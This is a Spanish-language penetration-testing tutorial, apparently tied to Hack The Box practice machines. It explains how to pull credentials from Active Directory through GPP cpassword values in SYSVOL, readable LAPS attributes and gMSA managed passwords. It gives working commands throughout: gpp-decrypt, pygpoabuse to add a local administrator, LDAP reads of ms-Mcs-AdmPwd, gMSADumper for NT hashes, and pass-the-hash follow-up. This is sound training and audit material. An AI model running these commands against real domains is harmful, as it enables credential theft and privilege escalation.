Contraseñas en Active Directory: GPP (Groups.xml), LAPS y gMSA

Tres sitios donde el propio dominio guarda contraseñas que puedes leer: cpassword en Groups.xml, la contraseña LAPS del administrador local y el hash de las cuentas gMSA.

· 3 min de lectura

Active Directory tiene tres mecanismos pensados para gestionar contraseñas que, mal configurados o con los permisos justos, te las entregan en limpio. Los tres aparecen una y otra vez en Hack The Box y en auditorías reales, y todos se comprueban en un par de minutos en cuanto tienes un usuario del dominio (o, en el caso de GPP, a veces sin él).

Mecanismo Qué guarda Quién puede leerlo
GPP (Group Policy Preferences) Contraseñas en XML dentro de SYSVOL, cifradas con una clave pública Cualquier usuario del dominio
LAPS La contraseña del administrador local de cada equipo Quien tenga permiso de lectura en el atributo
gMSA La contraseña de una cuenta de servicio administrada Quien esté en PrincipalsAllowedToRetrieveManagedPassword

GPP: cpassword en Groups.xml

Hasta 2014 las directivas de grupo permitían fijar contraseñas (de administradores locales, servicios o tareas programadas). Se guardaban en SYSVOL cifradas con AES, pero Microsoft publicó la clave. El parche MS14-025 impide crear nuevas, pero no borra las que ya existían.

# buscar el atributo cpassword en SYSVOL
nxc smb 10.10.10.100 -u usuario -p 'Pass' -M gpp_password
# o a mano
smbclient //10.10.10.100/SYSVOL -U usuario
smb: \> recurse ON; prompt OFF; mget *
grep -ri cpassword .
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'

Mira en Groups.xml, Services.xml, ScheduledTasks.xml, DataSources.xml y Drives.xml. A veces el recurso Replication (copia de SYSVOL) es legible sin autenticar, como en Active.

Truco

Busca también en los scripts de SYSVOL y NETLOGON (.bat, .ps1, .vbs): no son GPP, pero los administradores dejan contraseñas en ellos con muchísima frecuencia.

Si puedes editar una GPO

Si BloodHound te enseña que tienes GenericWrite o WriteDacl sobre una GPO, no hay contraseña que leer pero sí algo mejor: puedes añadir una tarea programada que se ejecute como SYSTEM en todos los equipos a los que se aplica.

python3 pygpoabuse.py corp.local/usuario:'Pass' -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -command 'net localgroup administrators usuario /add' -f

En Windows, SharpGPOAbuse.exe --AddLocalAdmin --UserAccount usuario --GPOName "Nombre". Fuerza la aplicación con gpupdate /force si tienes una shell, o espera unos 90 minutos. Es la escalada de TheFrizz y Office.

LAPS: la contraseña del administrador local

LAPS cambia la contraseña del administrador local de cada equipo y la guarda en un atributo del objeto equipo en AD: ms-Mcs-AdmPwd (LAPS clásico) o msLAPS-Password / msLAPS-EncryptedPassword (Windows LAPS, desde 2023). Si tu usuario tiene permiso para leerlo, tienes administrador en ese equipo.

# ¿hay LAPS y quién puede leerlo?
nxc ldap 10.10.10.100 -u usuario -p 'Pass' -M laps
bloodyAD -d corp.local -u usuario -p 'Pass' --host 10.10.10.100 get search \
  --filter '(ms-Mcs-AdmPwd=*)' --attr ms-Mcs-AdmPwd
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Select Name, ms-Mcs-AdmPwd
Get-LapsADPassword -Identity DC01 -AsPlainText      # Windows LAPS

En BloodHound aparece como la arista ReadLAPSPassword. Si no lo tienes, busca quién sí: suele ser un grupo tipo "LAPS_Readers" o "Helpdesk", y entrar en él puede ser cuestión de abusar de una ACL. Con la contraseña, entra como administrador con evil-winrm o psexec (Timelapse, StreamIO).

gMSA: cuentas de servicio administradas

Una Group Managed Service Account tiene una contraseña de 240 bytes aleatoria que el dominio rota sola. Imposible de crackear, pero los equipos o usuarios autorizados pueden pedírsela al controlador de dominio, y de ella se calcula el hash NT.

# ¿qué gMSA hay y quién puede leerlas?
nxc ldap 10.10.10.100 -u usuario -p 'Pass' --gmsa
# con permiso: devuelve el hash NT de la cuenta
python3 gMSADumper.py -u usuario -p 'Pass' -d corp.local
bloodyAD -d corp.local -u usuario -p 'Pass' --host 10.10.10.100 get object 'svc_web$' --attr msDS-ManagedPassword

En BloodHound, la arista se llama ReadGMSAPassword. Con el hash de la cuenta gMSA haces pass-the-hash y miras qué privilegios tiene: al ser cuentas de servicio, a menudo tienen delegación o permisos sobre otros objetos.

Nota

Si no estás en la lista, mira quién sí: casi siempre es un grupo, y meterte en él suele ser cuestión de otra ACL (AddSelf, GenericAll). Con WriteDacl sobre la propia gMSA también puedes añadirte al atributo msDS-GroupMSAMembership. Es una cadena muy repetida: Intelligence, Tombwatcher o Vintage.

En la checklist

Estas tres comprobaciones van justo después de la enumeración de Active Directory y del Kerberoasting. Están todas en la checklist de Active Directory.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

GPP y abuso de GPO 5 máquinas

Leer contraseñas LAPS 3 máquinas

Cuentas gMSA 13 máquinas

Ver las 13 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo